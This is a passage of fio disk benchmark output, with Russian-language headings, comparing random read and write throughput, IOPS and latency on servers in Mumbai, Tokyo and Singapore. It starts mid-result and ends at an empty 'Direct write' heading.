read : io=6805.7MB, bw=116146KB/s, iops=29036, runt= 60002msec
clat (usec): min=56, max=1006.1K, avg=272.36, stdev=1070.90
lat (usec): min=56, max=1006.1K, avg=272.80, stdev=1070.90
clat percentiles (usec):
| 1.00th=[ 131], 5.00th=[ 169], 10.00th=[ 181], 20.00th=[ 199],
| 30.00th=[ 213], 40.00th=[ 225], 50.00th=[ 237], 60.00th=[ 253],
| 70.00th=[ 278], 80.00th=[ 310], 90.00th=[ 362], 95.00th=[ 418],
| 99.00th=[ 612], 99.50th=[ 812], 99.90th=[ 3152], 99.95th=[ 4960],
| 99.99th=[22400]
bw (KB /s): min= 315, max=22760, per=12.53%, avg=14554.98, stdev=2178.59
lat (usec) : 100=0.40%, 250=57.47%, 500=40.06%, 750=1.49%, 1000=0.25%
lat (msec) : 2=0.16%, 4=0.11%, 10=0.05%, 20=0.01%, 50=0.01%
lat (msec) : 100=0.01%, 750=0.01%, 2000=0.01%
cpu : usr=1.02%, sys=6.78%, ctx=1754222, majf=0, minf=66
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1742254/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=6805.7MB, aggrb=116146KB/s, minb=116146KB/s, maxb=116146KB/s, mint=60002msec, maxt=60002msec
Disk stats (read/write):
sda: ios=1739426/12, merge=316/13, ticks=389336/0, in_queue=389096, util=99.74%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=5750: Sun Dec 15 19:37:15 2019
write: io=2106.5MB, bw=35947KB/s, iops=8986, runt= 60003msec
clat (usec): min=66, max=79631, avg=887.06, stdev=5832.79
lat (usec): min=66, max=79632, avg=887.50, stdev=5832.80
clat percentiles (usec):
| 1.00th=[ 70], 5.00th=[ 73], 10.00th=[ 74], 20.00th=[ 76],
| 30.00th=[ 80], 40.00th=[ 84], 50.00th=[ 88], 60.00th=[ 93],
| 70.00th=[ 99], 80.00th=[ 113], 90.00th=[ 209], 95.00th=[ 270],
| 99.00th=[43776], 99.50th=[46336], 99.90th=[49920], 99.95th=[52992],
| 99.99th=[61184]
bw (KB /s): min= 2848, max= 5945, per=12.52%, avg=4499.10, stdev=664.94
lat (usec) : 100=70.00%, 250=23.23%, 500=4.81%, 750=0.09%, 1000=0.04%
lat (msec) : 2=0.03%, 4=0.01%, 10=0.01%, 20=0.01%, 50=1.67%
lat (msec) : 100=0.10%
cpu : usr=0.38%, sys=2.28%, ctx=1088372, majf=0, minf=66
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=539238/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=2106.5MB, aggrb=35947KB/s, minb=35947KB/s, maxb=35947KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
sda: ios=57/538803, merge=144/1594, ticks=28/47844, in_queue=47732, util=79.49%
```
**fio (Индия, Мумбаи)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=29999: Mon Dec 16 03:22:24 2019
read : io=7680.4MB, bw=131076KB/s, iops=32769, runt= 60001msec
clat (usec): min=1, max=1005.9K, avg=241.25, stdev=958.77
lat (usec): min=1, max=1005.9K, avg=241.61, stdev=958.78
clat percentiles (usec):
| 1.00th=[ 1], 5.00th=[ 2], 10.00th=[ 161], 20.00th=[ 185],
| 30.00th=[ 199], 40.00th=[ 209], 50.00th=[ 219], 60.00th=[ 233],
| 70.00th=[ 255], 80.00th=[ 294], 90.00th=[ 342], 95.00th=[ 398],
| 99.00th=[ 636], 99.50th=[ 716], 99.90th=[ 2352], 99.95th=[ 2896],
| 99.99th=[12736]
bw (KB /s): min= 3690, max=22984, per=12.52%, avg=16407.99, stdev=1870.64
lat (usec) : 2=3.82%, 4=3.66%, 10=0.35%, 20=0.09%, 50=0.01%
lat (usec) : 100=0.02%, 250=59.86%, 500=30.20%, 750=1.58%, 1000=0.16%
lat (msec) : 2=0.09%, 4=0.12%, 10=0.02%, 20=0.01%, 50=0.01%
lat (msec) : 100=0.01%, 500=0.01%, 2000=0.01%
cpu : usr=1.05%, sys=6.95%, ctx=1815281, majf=2, minf=89
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1966177/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7680.4MB, aggrb=131076KB/s, minb=131076KB/s, maxb=131076KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
sda: ios=1805586/33, merge=187/30, ticks=392240/4, in_queue=392088, util=98.48%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30118: Mon Dec 16 03:24:27 2019
write: io=36526MB, bw=623330KB/s, iops=155832, runt= 60004msec
clat (usec): min=1, max=119319, avg=36.80, stdev=722.41
lat (usec): min=1, max=119319, avg=39.29, stdev=765.26
clat percentiles (usec):
| 1.00th=[ 1], 5.00th=[ 1], 10.00th=[ 2], 20.00th=[ 2],
| 30.00th=[ 2], 40.00th=[ 2], 50.00th=[ 2], 60.00th=[ 2],
| 70.00th=[ 2], 80.00th=[ 2], 90.00th=[ 3], 95.00th=[ 3],
| 99.00th=[ 4], 99.50th=[ 97], 99.90th=[11968], 99.95th=[16768],
| 99.99th=[27776]
bw (KB /s): min= 1, max=97309, per=12.62%, avg=78634.24, stdev=7494.43
lat (usec) : 2=6.84%, 4=92.00%, 10=0.33%, 20=0.07%, 50=0.15%
lat (usec) : 100=0.12%, 250=0.04%, 500=0.03%, 750=0.04%, 1000=0.03%
lat (msec) : 2=0.04%, 4=0.05%, 10=0.14%, 20=0.10%, 50=0.03%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=1.89%, sys=6.90%, ctx=94592, majf=0, minf=67
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=9350572/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=36526MB, aggrb=623329KB/s, minb=623329KB/s, maxb=623329KB/s, mint=60004msec, maxt=60004msec
Disk stats (read/write):
sda: ios=276/2956177, merge=354/1423, ticks=184/5082644, in_queue=5078200, util=67.28%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30060: Mon Dec 16 03:23:27 2019
read : io=7109.1MB, bw=121340KB/s, iops=30335, runt= 60001msec
clat (usec): min=54, max=1005.3K, avg=260.81, stdev=980.86
lat (usec): min=54, max=1005.3K, avg=261.23, stdev=980.88
clat percentiles (usec):
| 1.00th=[ 149], 5.00th=[ 167], 10.00th=[ 177], 20.00th=[ 193],
| 30.00th=[ 203], 40.00th=[ 215], 50.00th=[ 225], 60.00th=[ 241],
| 70.00th=[ 266], 80.00th=[ 302], 90.00th=[ 354], 95.00th=[ 414],
| 99.00th=[ 644], 99.50th=[ 716], 99.90th=[ 948], 99.95th=[ 3376],
| 99.99th=[12352]
bw (KB /s): min= 3389, max=23968, per=12.52%, avg=15196.38, stdev=1379.78
lat (usec) : 100=0.09%, 250=64.27%, 500=33.03%, 750=2.27%, 1000=0.24%
lat (msec) : 2=0.04%, 4=0.01%, 10=0.03%, 20=0.01%, 50=0.01%
lat (msec) : 100=0.01%, 250=0.01%, 500=0.01%, 2000=0.01%
cpu : usr=1.10%, sys=6.31%, ctx=1824541, majf=0, minf=84
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1820134/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7109.1MB, aggrb=121340KB/s, minb=121340KB/s, maxb=121340KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
sda: ios=1814323/36, merge=54/29, ticks=399948/4, in_queue=399628, util=99.33%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30175: Mon Dec 16 03:25:28 2019
write: io=2144.3MB, bw=36593KB/s, iops=9148, runt= 60003msec
clat (usec): min=66, max=76722, avg=871.26, stdev=5688.89
lat (usec): min=66, max=76722, avg=871.72, stdev=5688.97
clat percentiles (usec):
| 1.00th=[ 70], 5.00th=[ 73], 10.00th=[ 75], 20.00th=[ 78],
| 30.00th=[ 80], 40.00th=[ 82], 50.00th=[ 85], 60.00th=[ 88],
| 70.00th=[ 92], 80.00th=[ 102], 90.00th=[ 225], 95.00th=[ 290],
| 99.00th=[42752], 99.50th=[44800], 99.90th=[46848], 99.95th=[48896],
| 99.99th=[61184]
bw (KB /s): min= 2913, max= 6144, per=12.50%, avg=4575.83, stdev=573.66
lat (usec) : 100=78.69%, 250=13.10%, 500=6.35%, 750=0.02%, 1000=0.02%
lat (msec) : 2=0.02%, 4=0.01%, 10=0.01%, 20=0.01%, 50=1.76%
lat (msec) : 100=0.03%
cpu : usr=0.37%, sys=2.38%, ctx=1108100, majf=0, minf=74
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=548927/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=2144.3MB, aggrb=36593KB/s, minb=36593KB/s, maxb=36593KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
sda: ios=351/548346, merge=381/1573, ticks=220/47296, in_queue=47364, util=78.53%
```
**fio (Япония, Токио)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=8994: Mon Dec 16 03:19:35 2019
read : io=6104.3MB, bw=104172KB/s, iops=26042, runt= 60004msec
clat (usec): min=2, max=175502, avg=301.62, stdev=709.96
lat (usec): min=2, max=175503, avg=302.53, stdev=709.98
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 4], 10.00th=[ 199], 20.00th=[ 215],
| 30.00th=[ 227], 40.00th=[ 237], 50.00th=[ 247], 60.00th=[ 258],
| 70.00th=[ 278], 80.00th=[ 310], 90.00th=[ 382], 95.00th=[ 516],
| 99.00th=[ 1464], 99.50th=[ 2608], 99.90th=[ 5088], 99.95th=[ 7840],
| 99.99th=[27776]
bw (KB /s): min= 4801, max=18768, per=12.52%, avg=13047.25, stdev=1979.51
lat (usec) : 4=4.96%, 10=1.05%, 20=0.22%, 50=0.02%, 100=0.28%
lat (usec) : 250=46.83%, 500=41.33%, 750=2.46%, 1000=1.19%
lat (msec) : 2=0.93%, 4=0.54%, 10=0.16%, 20=0.02%, 50=0.01%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=1.92%, sys=7.58%, ctx=1471253, majf=0, minf=67
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1562682/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=6104.3MB, aggrb=104171KB/s, minb=104171KB/s, maxb=104171KB/s, mint=60004msec, maxt=60004msec
Disk stats (read/write):
sda: ios=1464787/22, merge=242/13, ticks=373888/12, in_queue=373712, util=98.37%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=9020: Mon Dec 16 03:21:39 2019
write: io=21704MB, bw=370364KB/s, iops=92590, runt= 60007msec
clat (usec): min=2, max=119437, avg=53.10, stdev=808.22
lat (usec): min=3, max=119438, avg=59.46, stdev=877.89
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 3], 10.00th=[ 3], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 4], 60.00th=[ 4],
| 70.00th=[ 4], 80.00th=[ 4], 90.00th=[ 4], 95.00th=[ 4],
| 99.00th=[ 104], 99.50th=[ 2672], 99.90th=[13504], 99.95th=[18816],
| 99.99th=[28032]
bw (KB /s): min= 1, max=59442, per=12.66%, avg=46888.23, stdev=3647.44
lat (usec) : 4=46.23%, 10=52.01%, 20=0.43%, 50=0.10%, 100=0.18%
lat (usec) : 250=0.22%, 500=0.11%, 750=0.04%, 1000=0.03%
lat (msec) : 2=0.09%, 4=0.15%, 10=0.24%, 20=0.12%, 50=0.04%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=4.07%, sys=6.16%, ctx=115702, majf=0, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=5556102/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=21704MB, aggrb=370363KB/s, minb=370363KB/s, maxb=370363KB/s, mint=60007msec, maxt=60007msec
Disk stats (read/write):
sda: ios=146/1732737, merge=57/1467, ticks=140/5125380, in_queue=5123836, util=67.83%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=9007: Mon Dec 16 03:20:39 2019
read : io=5844.9MB, bw=99749KB/s, iops=24937, runt= 60002msec
clat (usec): min=70, max=100509, avg=314.94, stdev=758.21
lat (usec): min=70, max=100509, avg=315.82, stdev=758.24
clat percentiles (usec):
| 1.00th=[ 139], 5.00th=[ 199], 10.00th=[ 205], 20.00th=[ 217],
| 30.00th=[ 227], 40.00th=[ 233], 50.00th=[ 241], 60.00th=[ 253],
| 70.00th=[ 270], 80.00th=[ 298], 90.00th=[ 370], 95.00th=[ 516],
| 99.00th=[ 1384], 99.50th=[ 2864], 99.90th=[ 7136], 99.95th=[ 9408],
| 99.99th=[40192]
bw (KB /s): min= 2952, max=15256, per=12.51%, avg=12474.81, stdev=2609.26
lat (usec) : 100=0.35%, 250=57.08%, 500=37.25%, 750=2.41%, 1000=1.29%
lat (msec) : 2=0.93%, 4=0.39%, 10=0.24%, 20=0.02%, 50=0.02%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=2.06%, sys=7.24%, ctx=1501769, majf=0, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1496285/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=5844.9MB, aggrb=99749KB/s, minb=99749KB/s, maxb=99749KB/s, mint=60002msec, maxt=60002msec
Disk stats (read/write):
sda: ios=1490329/10, merge=152/5, ticks=394100/0, in_queue=393836, util=99.70%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=9033: Mon Dec 16 03:22:39 2019
write: io=1783.9MB, bw=30443KB/s, iops=7610, runt= 60004msec
clat (usec): min=74, max=414357, avg=1045.25, stdev=6500.27
lat (usec): min=75, max=414358, avg=1046.20, stdev=6500.29
clat percentiles (usec):
| 1.00th=[ 77], 5.00th=[ 79], 10.00th=[ 80], 20.00th=[ 83],
| 30.00th=[ 85], 40.00th=[ 88], 50.00th=[ 93], 60.00th=[ 99],
| 70.00th=[ 110], 80.00th=[ 126], 90.00th=[ 163], 95.00th=[ 247],
| 99.00th=[37120], 99.50th=[42240], 99.90th=[59136], 99.95th=[69120],
| 99.99th=[124416]
bw (KB /s): min= 354, max= 5447, per=12.53%, avg=3813.73, stdev=898.12
lat (usec) : 100=60.09%, 250=34.95%, 500=1.55%, 750=0.33%, 1000=0.14%
lat (msec) : 2=0.30%, 4=0.24%, 10=0.06%, 20=0.01%, 50=2.13%
lat (msec) : 100=0.20%, 250=0.01%, 500=0.01%
cpu : usr=0.62%, sys=2.31%, ctx=924429, majf=0, minf=66
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=456672/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=1783.9MB, aggrb=30442KB/s, minb=30442KB/s, maxb=30442KB/s, mint=60004msec, maxt=60004msec
Disk stats (read/write):
sda: ios=65/456148, merge=144/1721, ticks=8/47868, in_queue=47764, util=78.32%
```
**fio (Сингапур)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=29700: Mon Dec 16 01:29:12 2019
read : io=7460.3MB, bw=127319KB/s, iops=31829, runt= 60001msec
clat (usec): min=2, max=100538, avg=245.95, stdev=526.10
lat (usec): min=2, max=100539, avg=246.84, stdev=526.11
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 3], 10.00th=[ 181], 20.00th=[ 213],
| 30.00th=[ 223], 40.00th=[ 229], 50.00th=[ 235], 60.00th=[ 243],
| 70.00th=[ 258], 80.00th=[ 274], 90.00th=[ 310], 95.00th=[ 354],
| 99.00th=[ 516], 99.50th=[ 868], 99.90th=[ 2864], 99.95th=[ 3376],
| 99.99th=[ 7648]
bw (KB /s): min= 7664, max=21344, per=12.51%, avg=15924.29, stdev=1653.02
lat (usec) : 4=6.65%, 10=1.02%, 20=0.27%, 50=0.02%, 100=0.24%
lat (usec) : 250=56.60%, 500=34.12%, 750=0.52%, 1000=0.11%
lat (msec) : 2=0.18%, 4=0.25%, 10=0.01%, 20=0.01%, 50=0.01%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=2.37%, sys=8.65%, ctx=1767874, majf=2, minf=96
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1909821/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7460.3MB, aggrb=127319KB/s, minb=127319KB/s, maxb=127319KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
sda: ios=1751526/10, merge=136/5, ticks=379692/0, in_queue=379548, util=98.45%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=29726: Mon Dec 16 01:31:16 2019
write: io=22301MB, bw=380447KB/s, iops=95111, runt= 60026msec
clat (usec): min=2, max=99818, avg=50.79, stdev=815.47
lat (usec): min=2, max=99819, avg=56.89, stdev=884.08
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 3], 10.00th=[ 3], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 3], 60.00th=[ 4],
| 70.00th=[ 4], 80.00th=[ 4], 90.00th=[ 4], 95.00th=[ 4],
| 99.00th=[ 97], 99.50th=[ 1992], 99.90th=[13248], 99.95th=[18304],
| 99.99th=[29824]
bw (KB /s): min= 1, max=60142, per=12.65%, avg=48143.86, stdev=4034.99
lat (usec) : 4=50.77%, 10=47.42%, 20=0.47%, 50=0.18%, 100=0.18%
lat (usec) : 250=0.22%, 500=0.10%, 750=0.04%, 1000=0.03%
lat (msec) : 2=0.09%, 4=0.14%, 10=0.21%, 20=0.12%, 50=0.04%
lat (msec) : 100=0.01%
cpu : usr=4.24%, sys=6.15%, ctx=116463, majf=0, minf=75
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=5709171/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=22301MB, aggrb=380446KB/s, minb=380446KB/s, maxb=380446KB/s, mint=60026msec, maxt=60026msec
Disk stats (read/write):
sda: ios=181/1565641, merge=31/1692, ticks=840/7100268, in_queue=7103928, util=90.92%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=29713: Mon Dec 16 01:30:15 2019
read : io=6622.7MB, bw=113024KB/s, iops=28255, runt= 60001msec
clat (usec): min=64, max=1003.4K, avg=277.49, stdev=1028.50
lat (usec): min=65, max=1003.4K, avg=278.34, stdev=1028.52
clat percentiles (usec):
| 1.00th=[ 113], 5.00th=[ 195], 10.00th=[ 207], 20.00th=[ 213],
| 30.00th=[ 219], 40.00th=[ 225], 50.00th=[ 233], 60.00th=[ 241],
| 70.00th=[ 253], 80.00th=[ 274], 90.00th=[ 314], 95.00th=[ 378],
| 99.00th=[ 868], 99.50th=[ 1688], 99.90th=[ 4960], 99.95th=[ 8032],
| 99.99th=[43264]
bw (KB /s): min= 234, max=19920, per=12.52%, avg=14153.85, stdev=3251.43
lat (usec) : 100=0.60%, 250=66.91%, 500=30.22%, 750=1.10%, 1000=0.31%
lat (msec) : 2=0.42%, 4=0.27%, 10=0.14%, 20=0.03%, 50=0.01%
lat (msec) : 100=0.01%, 250=0.01%, 2000=0.01%
cpu : usr=2.03%, sys=7.84%, ctx=1722385, majf=0, minf=66
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1695388/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=6622.7MB, aggrb=113023KB/s, minb=113023KB/s, maxb=113023KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
sda: ios=1689128/10, merge=156/5, ticks=386848/0, in_queue=386776, util=99.63%
```
Direct write
```
